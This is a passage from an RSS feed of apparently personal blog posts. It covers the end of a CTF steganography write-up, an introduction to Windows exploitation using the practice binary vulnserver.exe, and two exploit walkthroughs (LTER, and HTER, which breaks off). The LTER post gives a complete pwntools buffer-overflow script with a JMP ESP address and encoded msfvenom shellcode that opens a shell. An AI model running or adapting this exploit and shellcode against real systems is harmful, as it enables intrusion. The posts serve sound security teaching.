ｃｈｉсkeｎ  chicｋeｎ ｃhіϲkｅn ｃhicken ϲhіϲｋen сhіｃｋｅn chｉсkeｎ ｃhⅰϲken ｃhｉcｋeｎ ｃhiｃken ｃｈіϲken сｈⅰckeｎ ϲhіｃken ｃhｉcｋｅｎ ｃｈｉckeｎ  сhіϲｋeｎ ｃhⅰϲｋeｎ chicｋｅｎ cｈіϲkｅn сhіckｅn chickｅn ϲｈіcｋen chⅰｃｋeｎ  сhickｅn ｃhіϲｋen ｃｈiｃｋen ｃhicken ｃｈⅰcｋｅn сhicken сhｉсkｅn chickeｎ сｈiｃｋen сhⅰϲｋen ϲhiϲｋen ϲhіcken сhⅰсkｅn chｉϲkｅn  chicken</pre><pre>chicken</pre><pre>chicken<br>chicken<br>chicken</pre><pre>chicken<br>chicken<br>chicken<br>chicken<br>chicken</pre><p>Based on the output, it seems that there are non-ascii characters used to write the word chicken.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*1QZObnrgTGDf6X4EIgbDAA.png" /></figure><p>This one got me stuck for a while. After multiple google searches of some patterns in the hex dump, I saw this article.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*fs5i0MauCyjQ6o0HSl2QKw.png" /></figure><p>I followed the original post given in the page above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*Jh2xKWHxFEym-ySxP_H43g.png" /></figure><p>In this article, it states that the tool used for generating this kind of string is <a href="https://holloway.nz/steg/">https://holloway.nz/steg/</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UqKC5FbICSHXgO4lzaeGwA.png" /></figure><p>Upon using the chicken string above, I got another hidden message.</p><pre>h4xx0r 1p5um 1nf1n173 l00p pr070c0l f1r3w4ll r3cur51v3ly fl00d 6urfl3 6cc w0rm 3l53 f41l 4fk 574rcr4f7 3rr0r 574ck c4ch3 0v3r cl0ck 1f bl0b c0ncurr3n7ly. r363x b17 . 3473n by 4 6ru3 1n73rpr373r cr4ck m41lb0mb h45h null. byp455 3ch0 m0un741n d3w 7unn3l 1n b4ck d00r k1l0 d3nn15 r17ch13 l35l13 l4mp0r7 d3f4ul7 w4r3z d0n4ld knu7h c00k13. j4nu4ry 1 1970 53m4ph0r3 n3w b4n6 7cp r007 pr1v473 m41nfr4m3. f04d 5yn r54 pwn3d dd05 7r0j4n h0r53 4cc355 30f 3xc3p710n 4ll0c 5n4rf d00dz wh1l3 6r3p l34pfr06 flu5h 54l7. 73rm1n4l byp455 w4nn4b33 w4bb17 l0ph7cr4ck f00 3p0ch publ1c m3m0ry l34k buff3r 4ll y0ur b453 4r3 b3l0n6 70 u5. 57d10.h 5cr1p7 k1dd135 57rl3n p4ck37 5n1ff3r l1nux pr1n7f 1nj3c710n 5u174bly 5m4ll v4lu35 ch4r pr073c73d v4r bru73 f0rc3 7hr0w l1b m4ll0c. 57d10.h func710n 7hr34d b4n p166yb4ck py7h0n 1rc c453 cl13n7 5ud0 f474l h3ll0 w0rld v01d p4ck37 f0rk cl455 5h3ll 73r4 m364. 0v3rfl0w 1n7 l0n6 c0n71nu3 536f4ul7 p3rl 5ql j4m35 7. k1rk m4n p4635 h34d3r5. b4z f0p3n b4r b1n 1p n4k 6164 cd 7ru3 ch0wn d0 l337 l00p f04d c47 pr46m4 1&#39;m 50rry d4v3 1&#39;m 4fr41d 1 c4n&#39;7 d0 7h47 7ry c47ch.r4c3 c0nd1710n p166yb4ck l1b b4n 3rr0r m4ch1n3 c0d3 c47 h16hj4ck c0n71nu3 4ll0c 6164. 7ru3 l00p f0r 1fd3f rm -rf func710n b17 0v3r cl0ck. 7h3n 574ck 7r4c3 l35l13 l4mp0r7 5u174bly 5m4ll v4lu35 5h3ll c4ch3 p4ck37 n3w f04d flu5h ch4r d3nn15 r17ch13 7unn3l 1n. bubbl3 50r7 5n4rf 3m4c5 b16-3nd14n p0r7 3p0ch pr1v473 1&#39;m c0mp1l1n6 r363x f0p3n 574ck wh1l3 null fl00d v01d m3m0ry l34k publ1c w4bb17 h3x4d3c1m4l. buff3r m364 7cp p4ck37 5n1ff3r f4l53 d474 m41lb0mb f1r3w4ll. l0n6 /d3v/null 3xc3p710n d43m0n d3f4ul7 57d10.h cd n4k 74rb4ll b4n6 6r3p 54l7 l1nux r4c3 c0nd1710n mu73x 7h3n 1p m4n p4635. 73rm1n4l r007 w1n w0mb47 l0ph7cr4ck ch0wn b4r py7h0n the <strong>fl46 1s</strong> <strong>th3_ch1ck3n_mu57_b3_pr0t3cted</strong> the fl46 1s v1 5p00f 50ck37 br34k l0n6 4fk cl13n7 1rc c7l-c l34pfr06 h34d3r5. bru73 f0rc3 r3cur51v3ly bru73 f0rc3 un1x cr4ck b00l34n d0 1nf1n173 l00p pr073c73d f1n4lly 45c11 5ql w0rm b4ck d00r k1l0 3nd1f byp455 7ru3 7r0j4n h0r53. 6c c00k13 5yn 1&#39;m 50rry d4v3 1&#39;m 4fr41d 1 c4n&#39;7 d0 7h47 h4ck 7h3 m41nfr4m3 f474l. 60bbl3 f00 d34dl0ck 6c v4r 7hr34d c0ncurr3n7ly 55h . l355 pr070c0l bl0b 7ry c47ch j4m35 7. k1rk.p4ck37 5u174bly 5m4ll v4lu35 l34pfr06 k1l0 j4m35 7. k1rk 54l7 3ch0. 70d0 b4r l0ph7cr4ck p166yb4ck 53m4ph0r3 d3r3f3r3nc3 w4r3z l337 d0n4ld knu7h. 55h 30f 6164 d3nn15 r17ch13 536f4ul7 d0 45c11 j4nu4ry 1 1970. 6urfl3 b4ck d00r 3l53 bl0b 5yn 5y573m 55h n4k 53rv3r b4n6. f0r 3473n by 4 6ru3 c0n71nu3 ch0wn h3ll0 w0rld cr4ck f04d null f474l bubbl3 50r7 p4ck37 5n1ff3r fr4ck 1&#39;m c0mp1l1n6 4fk 5ud0. 4ll y0ur b453 4r3 b3l0n6 70 u5 l35l13 l4mp0r7 x55 m41nfr4m3 c00k13 w1n 0v3r cl0ck . c47 73r4 m0un741n d3w 7h3n 0v3rfl0w pr1v473 7unn3l 1n r007 publ1c. d00dz m4n p4635 d34dl0ck l355 f1r3w4ll p0r7 1&#39;m 50rry d4v3 1&#39;m 4fr41d 1 c4n&#39;7 d0 7h47 p3rl 3nd1f f1n4lly 7hr0w. dd05 4ll y0ur b453 4r3 b3l0n6 70 u5 fl00d c0ncurr3n7ly w0mb47 ch4r 7cp. 1fd3f by735 5n4rf l00p 60bbl3 70d0 4ll0c b16-3nd14n 7r0j4n h0r53. 6nu wh1l3 m4ll0c m41lb0mb func710n w0rm f0p3n n3w d0ubl3 574rcr4f7 mu73x 5cr1p7 k1dd135 6urfl3 f41l 1n7 f4l53 7ry c47ch.</pre><p>The output was written in leetspeak. After reading it thoroughly, I got the flag — <strong>th3_ch1ck3n_mu57_b3_pr0t3cted.</strong></p><p>Final flag: <strong>RC14{th3_ch1ck3n_mu57_b3_pr0t3cted}</strong></p><p>— ar33zy</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7bce60791dcd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting vulnserver.exe — Intro to Windows Exploitation]]></title>
            <link>https://medium.com/@ar33zy/exploiting-vulnserver-exe-intro-to-windows-exploitation-c4e4f141b7ff?source=rss-a482b0075375------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4e4f141b7ff</guid>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[vulnserver]]></category>
            <category><![CDATA[windows-exploit]]></category>
            <dc:creator><![CDATA[ar33zy]]></dc:creator>
            <pubDate>Sun, 05 Jul 2020 15:04:08 GMT</pubDate>
            <atom:updated>2020-07-05T15:12:30.488Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploiting vulnserver.exe — Intro to Windows Exploitation</h3><p>In this multipart write-up, I will feature <a href="http://www.thegreycorner.com/p/vulnserver.html">vulnserver.exe </a>— a binary that is designed to be exploited. I used this binary to have a quick introduction on Windows exploitation development, since I am only familiar with exploiting Linux binaries.</p><p>For the test environment, I used Windows 7 x86 VM with the following tools:</p><ul><li><a href="https://www.immunityinc.com/products/debugger/">Immunity debugger</a></li><li><a href="https://github.com/corelan/mona">Mona.py</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*C-uWKx8m5Di_SSml9M9xag.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1QKOaLrSOztHAkaJjH3aBQ.png" /></figure><p>And of course, <a href="http://www.thegreycorner.com/p/vulnserver.html">vulnserver.exe</a> as our victim binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*7bmgBpckTY2tg31mFzbL5Q.png" /></figure><p>By default, vulnserver listens on port <strong>9999.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*ZywFYFJa6DhKVY3BwVczIg.png" /></figure><p>The source code is also included upon downloading the compressed file, which helped me a lot in identifying the vulnerabilities of the program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uw_cehfmg-QZEZYXEYaBGw.png" /></figure><p>Upon checking the source code, I have identified 6 vulnerable commands (out of 14) that could lead to stack-based buffer overflow. The vulnerable commands are as follows:</p><ul><li>TRUN</li><li>GMON</li><li>KSTET</li><li>GTER</li><li>HTER</li><li>LTER</li></ul><p>All these commands have a common culprit —<strong> strcpy()</strong></p><blockquote>The <strong>strcpy </strong>built-in function does not check buffer lengths and may very well overwrite memory zone contiguous to the intended destination.</blockquote><p>Which explains why all these commands are vulnerable to buffer overflow. The exploit for each command will be discussed separately.</p><ul><li><a href="https://medium.com/hackstreetboys/exploiting-vulnserver-exe-trun-command-using-jmp-esp-technique-464e6d0907d3">TRUN ( jmp esp )</a></li><li><a href="https://medium.com/hackstreetboys/exploiting-vulnserver-exe-gmon-command-using-seh-overwrite-26c114c32626">GMON ( SEH )</a></li><li><a href="https://medium.com/hackstreetboys/exploiting-vulnserver-exe-kstet-command-using-egghunter-218f807353ee">KSTET ( jmp esp + egghunter )</a></li><li><a href="https://medium.com/hackstreetboys/exploiting-vulnserver-exe-gter-command-using-egghunter-f487673c4873">GTER ( jmp esp + egghunter )</a></li><li><a href="https://medium.com/hackstreetboys/exploiting-vulnserver-exe-hter-command-using-hex-characters-12c56774c091">HTER ( str2hex payload + jmp esp )</a></li><li><a href="https://medium.com/hackstreetboys/exploiting-vulnserver-exe-lter-command-with-restricted-characters-739b14be8283">LTER ( jmp esp + badchars bypass )</a></li></ul><p>To mitigate this vulnerability, alternative functions like <strong>strncpy() </strong>should be used. There are a lot of resources online that can be used as a reference for secure coding. Below are some of the examples:</p><ul><li><a href="https://rules.sonarsource.com/c/type/Vulnerability/RSPEC-5782">https://rules.sonarsource.com/c/type/Vulnerability/RSPEC-5782</a></li><li><a href="https://security.web.cern.ch/recommendations/en/codetools/c.shtml">https://security.web.cern.ch/recommendations/en/codetools/c.shtml</a></li><li><a href="https://medium.com/@int0x33/day-49-common-c-code-vulnerabilities-and-mitigations-7eded437ca4a">https://medium.com/@int0x33/day-49-common-c-code-vulnerabilities-and-mitigations-7eded437ca4a</a></li></ul><p>— ar33zy</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4e4f141b7ff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting vulnserver.exe — LTER command with restricted characters]]></title>
            <link>https://medium.com/@ar33zy/exploiting-vulnserver-exe-lter-command-with-restricted-characters-739b14be8283?source=rss-a482b0075375------2</link>
            <guid isPermaLink="false">https://medium.com/p/739b14be8283</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[windows-exploit]]></category>
            <category><![CDATA[vulnserver]]></category>
            <dc:creator><![CDATA[ar33zy]]></dc:creator>
            <pubDate>Sun, 05 Jul 2020 14:58:10 GMT</pubDate>
            <atom:updated>2020-07-11T02:02:45.393Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploiting vulnserver.exe — LTER command with restricted characters</h3><p>In this write-up, I will discuss about attacking LTER command of vulnserver.exe by only using a limited set of characters.</p><p>To get started, let’s read the source code of vulnserver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*twYaWyCpUZ4vFs_Lcwj8eQ.png" /></figure><p>The code tells us that it reduces <strong>0x7f </strong>to all characters greater than <strong>0x7f</strong> before storing to <strong>LterBuf</strong>, and eventually it passes <strong>LterBuf </strong>to <strong>Function3() if our input contains a “.”.</strong></p><p>This means that we can only use characters that are lower to <strong>0x80</strong>.</p><p>Let’s inspect <strong>Function3 </strong>to have a better understanding what happens next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/272/0*hOK-DKtZmK2jcrAz.png" /></figure><p>The contents of <strong>LterBuf </strong>is copied to <strong>Buffer2S</strong> without checking the payload length. This is where the vulnerability occurs. Since <strong>Buffer2S </strong>can only handle <strong>2000</strong> <strong>bytes </strong>and <strong>LterBuf </strong>can handle a large input, we can smash the stack by sending a payload greater than <strong>2000 bytes.</strong></p><p>Our initial payload should look like this.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>payload = &quot;&quot;<br>payload += &quot;LTER .&quot;<br>payload += &quot;A&quot;*3000</pre><pre>r.sendline(payload)<br>r.close()</pre><p>Sending this payload to <strong>vulnserver </strong>makes the program crash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QdSZN9TUqy7FF5qj5XiR2g.png" /></figure><p>Upon checking the registers, it seems that we can now control the instruction pointer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*QG0wwRdkL1lTJnmHayDbeQ.png" /></figure><p>Let’s fuzz this program to get the offset we need to control EIP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*Y3gMXwPuHXJM_w7FArVPiw.png" /></figure><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>payload = &quot;&quot;<br>payload += &quot;LTER .&quot;<br>payload += &quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5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dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9&quot;</pre><pre>r.sendline(payload)<br>r.close()</pre><p>Sending this payload gives us the unique pattern that has overwritten the instruction pointer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*RB6rU-Vsh0b4e2Ka9h7WjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*vPNc95PlpkzRWXUlGqj_TA.png" /></figure><p>The offset we need to control the EIP is <strong>2006</strong>.</p><p>Now, let’s try to execute a shellcode after controlling the instruction pointer. Since we can send <strong>3000 bytes</strong> of payload, we have a lot of space to work with. We can simply send our payload together with the shellcode and use <strong>JMP ESP</strong> to jump to our shellcode.</p><p>Our payload structure should look like this.</p><pre>payload = &lt;buffer 2006 bytes&gt; + &lt;JMP ESP&gt; + &lt;shellcode&gt;</pre><p>First, let’s check if there is an available <strong>JMP ESP </strong>instruction that we can use with the help of mona. We can simply use <strong>!mona jmp -r esp </strong>to get a list of <strong>JMP ESP</strong> instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/0*n-AvVzUcgEEfLfeI.png" /></figure><p>We need to choose an address that does not contain any restricted character.</p><p>Let’s use <strong>0x62501203 </strong>as our <strong>JMP ESP</strong> instruction.</p><p>Next, we need to generate our shellcode. We can simply use <strong>msfvenom </strong>for this one.</p><p>Again, we need to use a shellcode that does not contain any restricted character ( <strong>&gt; 0x7f</strong> ).</p><p>Upon research, I encountered <a href="https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/"><strong>alphanumeric shellcode encoder</strong></a> of <strong>msfvenom</strong>. We can use this encoder to generate a shellcode that only contains alphanumeric characters which will work since all alphanumeric characters are less than <strong>0x80</strong>.</p><p>Let’s generate our shellcode using this encoder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*HD6Lcs0ks2c784aFw7ve5w.png" /></figure><p>Aside from the encoder, I also used the <strong>BufferRegister </strong>option since we already know the location of our shellcode which is in <strong>ESP.</strong></p><p>Without using this option, we will have non-alphanumeric characters in our shellcode like “\x89\xe2\xdb\xdb\xd9\x72”. These values are opcodes which are needed by the shellcode to obtain the absolute location of the payload in the memory.</p><p>Combining everything above, here is our final payload script.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>shellcode =  b&quot;&quot;<br>shellcode += b&quot;\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49&quot;<br>shellcode += b&quot;\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a&quot;<br>shellcode += b&quot;\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51&quot;<br>shellcode += b&quot;\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42&quot;<br>shellcode += b&quot;\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c\x58&quot;<br>shellcode += b&quot;\x68\x4c\x42\x35\x50\x53\x30\x37\x70\x63\x50&quot;<br>shellcode += b&quot;\x4f\x79\x59\x75\x45\x61\x79\x50\x50\x64\x4e&quot;<br>shellcode += b&quot;\x6b\x52\x70\x64\x70\x4c\x4b\x53\x62\x34\x4c&quot;<br>shellcode += b&quot;\x6e\x6b\x51\x42\x37\x64\x6c\x4b\x30\x72\x57&quot;<br>shellcode += b&quot;\x58\x64\x4f\x4d\x67\x53\x7a\x45\x76\x64\x71&quot;<br>shellcode += b&quot;\x39\x6f\x6c\x6c\x77\x4c\x35\x31\x63\x4c\x74&quot;<br>shellcode += b&quot;\x42\x46\x4c\x31\x30\x4f\x31\x7a\x6f\x36\x6d&quot;<br>shellcode += b&quot;\x73\x31\x7a\x67\x4d\x32\x6c\x32\x31\x42\x71&quot;<br>shellcode += b&quot;\x47\x6e\x6b\x71\x42\x46\x70\x6c\x4b\x62\x6a&quot;<br>shellcode += b&quot;\x45\x6c\x6c\x4b\x62\x6c\x32\x31\x71\x68\x39&quot;<br>shellcode += b&quot;\x73\x31\x58\x45\x51\x6a\x71\x32\x71\x4e\x6b&quot;<br>shellcode += b&quot;\x71\x49\x75\x70\x46\x61\x69\x43\x4e\x6b\x67&quot;<br>shellcode += b&quot;\x39\x55\x48\x4a\x43\x75\x6a\x67\x39\x4c\x4b&quot;<br>shellcode += b&quot;\x36\x54\x4c\x4b\x63\x31\x59\x46\x66\x51\x4b&quot;<br>shellcode += b&quot;\x4f\x6c\x6c\x6b\x71\x58\x4f\x76\x6d\x73\x31&quot;<br>shellcode += b&quot;\x6b\x77\x37\x48\x4b\x50\x33\x45\x4a\x56\x53&quot;<br>shellcode += b&quot;\x33\x71\x6d\x6b\x48\x67\x4b\x33\x4d\x54\x64&quot;<br>shellcode += b&quot;\x30\x75\x6a\x44\x46\x38\x6e\x6b\x30\x58\x76&quot;<br>shellcode += b&quot;\x44\x43\x31\x68\x53\x43\x56\x4e\x6b\x46\x6c&quot;<br>shellcode += b&quot;\x62\x6b\x4c\x4b\x62\x78\x65\x4c\x53\x31\x5a&quot;<br>shellcode += b&quot;\x73\x4e\x6b\x57\x74\x6e\x6b\x67\x71\x6a\x70&quot;<br>shellcode += b&quot;\x6e\x69\x51\x54\x65\x74\x77\x54\x63\x6b\x31&quot;<br>shellcode += b&quot;\x4b\x50\x61\x72\x79\x73\x6a\x56\x31\x4b\x4f&quot;<br>shellcode += b&quot;\x4b\x50\x53\x6f\x43\x6f\x52\x7a\x4c\x4b\x57&quot;<br>shellcode += b&quot;\x62\x5a\x4b\x4c\x4d\x31\x4d\x55\x38\x76\x53&quot;<br>shellcode += b&quot;\x74\x72\x67\x70\x63\x30\x31\x78\x64\x37\x31&quot;<br>shellcode += b&quot;\x63\x64\x72\x73\x6f\x50\x54\x62\x48\x52\x6c&quot;<br>shellcode += b&quot;\x32\x57\x76\x46\x55\x57\x59\x6f\x79\x45\x6f&quot;<br>shellcode += b&quot;\x48\x7a\x30\x33\x31\x67\x70\x67\x70\x74\x69&quot;<br>shellcode += b&quot;\x4a\x64\x72\x74\x32\x70\x42\x48\x66\x49\x6b&quot;<br>shellcode += b&quot;\x30\x72\x4b\x37\x70\x4b\x4f\x59\x45\x70\x50&quot;<br>shellcode += b&quot;\x30\x50\x56\x30\x46\x30\x67\x30\x70\x50\x61&quot;<br>shellcode += b&quot;\x50\x52\x70\x35\x38\x4b\x5a\x76\x6f\x69\x4f&quot;<br>shellcode += b&quot;\x6d\x30\x4b\x4f\x79\x45\x5a\x37\x63\x5a\x75&quot;<br>shellcode += b&quot;\x55\x35\x38\x39\x50\x49\x38\x4e\x68\x39\x66&quot;<br>shellcode += b&quot;\x65\x38\x56\x62\x63\x30\x32\x31\x63\x6c\x6e&quot;<br>shellcode += b&quot;\x69\x78\x66\x63\x5a\x36\x70\x73\x66\x51\x47&quot;<br>shellcode += b&quot;\x62\x48\x5a\x39\x59\x35\x62\x54\x75\x31\x39&quot;<br>shellcode += b&quot;\x6f\x4a\x75\x6d\x55\x6b\x70\x30\x74\x46\x6c&quot;<br>shellcode += b&quot;\x39\x6f\x30\x4e\x75\x58\x32\x55\x48\x6c\x31&quot;<br>shellcode += b&quot;\x78\x7a\x50\x6d\x65\x4c\x62\x66\x36\x4b\x4f&quot;<br>shellcode += b&quot;\x6a\x75\x65\x38\x51\x73\x62\x4d\x35\x34\x67&quot;<br>shellcode += b&quot;\x70\x6d\x59\x68\x63\x53\x67\x66\x37\x33\x67&quot;<br>shellcode += b&quot;\x46\x51\x59\x66\x30\x6a\x74\x52\x50\x59\x53&quot;<br>shellcode += b&quot;\x66\x49\x72\x69\x6d\x55\x36\x78\x47\x37\x34&quot;<br>shellcode += b&quot;\x51\x34\x45\x6c\x36\x61\x35\x51\x6e\x6d\x57&quot;<br>shellcode += b&quot;\x34\x64\x64\x72\x30\x6a\x66\x45\x50\x30\x44&quot;<br>shellcode += b&quot;\x43\x64\x70\x50\x73\x66\x43\x66\x36\x36\x52&quot;<br>shellcode += b&quot;\x66\x56\x36\x42\x6e\x61\x46\x31\x46\x76\x33&quot;<br>shellcode += b&quot;\x53\x66\x43\x58\x34\x39\x58\x4c\x67\x4f\x4f&quot;<br>shellcode += b&quot;\x76\x59\x6f\x6b\x65\x4c\x49\x39\x70\x70\x4e&quot;<br>shellcode += b&quot;\x66\x36\x43\x76\x69\x6f\x74\x70\x53\x58\x75&quot;<br>shellcode += b&quot;\x58\x6c\x47\x67\x6d\x45\x30\x49\x6f\x6a\x75&quot;<br>shellcode += b&quot;\x6d\x6b\x4a\x50\x6d\x65\x6c\x62\x36\x36\x52&quot;<br>shellcode += b&quot;\x48\x39\x36\x6f\x65\x6f\x4d\x6d\x4d\x39\x6f&quot;<br>shellcode += b&quot;\x7a\x75\x75\x6c\x34\x46\x33\x4c\x67\x7a\x6b&quot;<br>shellcode += b&quot;\x30\x69\x6b\x4b\x50\x74\x35\x75\x55\x4d\x6b&quot;<br>shellcode += b&quot;\x33\x77\x77\x63\x43\x42\x50\x6f\x32\x4a\x73&quot;<br>shellcode += b&quot;\x30\x32\x73\x4b\x4f\x4e\x35\x41\x41&quot;</pre><pre># badchars, payload chars must be less than 0x7f<br>payload = &quot;&quot;<br>payload += &quot;LTER .&quot;<br>payload += &quot;A&quot;*2006<br>payload += p32(0x62501203)<br>payload += shellcode</pre><pre>r.sendline(payload)<br>r.close()</pre><p>Executing this payload gives us a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*r-2zuXxeHqOUqYNpq_9oBQ.png" /></figure><p>— ar33zy</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=739b14be8283" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting vulnserver.exe —HTER command using hex characters]]></title>
            <link>https://medium.com/@ar33zy/exploiting-vulnserver-exe-hter-command-using-hex-characters-12c56774c091?source=rss-a482b0075375------2</link>
            <guid isPermaLink="false">https://medium.com/p/12c56774c091</guid>
            <category><![CDATA[vulnserver]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[windows-exploit]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <dc:creator><![CDATA[ar33zy]]></dc:creator>
            <pubDate>Sun, 05 Jul 2020 14:16:49 GMT</pubDate>
            <atom:updated>2020-07-05T15:23:43.542Z</atom:updated>
            <content:encoded><![CDATA[<p>In this write-up, I will discuss about attacking HTER command of vulnserver.exe with the use of hex characters.</p><p>To get started, let’s read the source code of vulnserver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*spTBn2T3ICE8gB41s5CI6A.png" /></figure><p>The code tells us that it converts our input <strong>(RecvBuf) </strong>into its <strong>base16 </strong>value using <strong>strtoul()</strong> before storing to <strong>HterBuf</strong>, and eventually it passes <strong>HterBuf </strong>to <strong>Function4().</strong></p><p>This sample code will further explain what really happens during the conversion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/319/1*QL58sIYS24LcW-5CTJ5X3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/269/1*xS9_IEwQgZdolR5OE9oqWw.png" /></figure><p>Basically what happens is that our input string is converted as a hex character. This also tells us that our input will be limited only to hex characters (<strong>0 to F</strong>).</p><p>Let’s inspect <strong>Function4 </strong>to have a better understanding what happens next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/271/1*92h7F8IEZ_i5gs9oYY5zuw.png" /></figure><p>The contents of <strong>HterBuf </strong>is copied to <strong>Buffer2S</strong> without checking the length. This is where the vulnerability occurs. Since <strong>Buffer2S </strong>can only handle <strong>1000</strong> <strong>bytes </strong>and <strong>HterBuf </strong>does not have a limitation, we can smash the stack by sending a payload greater than <strong>1000 bytes.</strong></p><p>Our initial payload should look like this.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>payload = &quot;&quot;<br>payload += &quot;HTER &quot;<br>payload += &quot;A&quot;*3000</pre><pre>r.sendline(payload)<br>r.close()</pre><p>Sending this payload to <strong>vulnserver </strong>makes the program crash.</p><p>Upon checking the registers, it seems that we can now control the instruction pointer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*W-uSQI3xdd0rCp61ly8O-w.png" /></figure><p>Based on the source code, our input <strong>“A”*3000 </strong>is converted as <strong>0xa * 3000.</strong></p><p>After doing a lot of trials (divide and conquer), I got <strong>2041 </strong>as our offset. Sending this payload should overwrite EIP with <strong>BBBBBB.</strong></p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>payload = &quot;&quot;<br>payload += &quot;HTER &quot;<br>payload += &quot;A&quot;*2041<br>payload += &quot;B&quot;*8</pre><pre>r.sendline(payload)<br>r.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*9NF4iZB02LNLOSupEvqgeQ.png" /></figure><p>We successfully controlled the instruction pointer.</p><p>Now, we need to create a str2hex converter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*EjCTbk1iv5nlikljCS0hhw.png" /></figure><p>This function will convert our payload to its hex value.</p><p>Let’s test this function with our payload.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>def str2hex(val):<br>    return(&#39;&#39;.join([hex(ord(x))[2:].rjust(2,&#39;0&#39;) for x in val]))</pre><pre>payload = &quot;&quot;<br>payload += &quot;HTER &quot;<br>payload += &quot;A&quot;*2041<br>payload += str2hex(&quot;B&quot;*4)</pre><pre>r.sendline(payload)<br>r.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*fkL37iRCEyTt6BUzmbK5AA.png" /></figure><p>We have successfully overwritten EIP with 0x42424242.</p><p>Now, let’s try to execute a shellcode after controlling the instruction pointer. Since we can send a large payload, we have a lot of space to work with. We can simply send our payload together with the shellcode and use <strong>JMP ESP</strong> to jump to our shellcode.</p><p>First, let’s check if there is an available <strong>JMP ESP 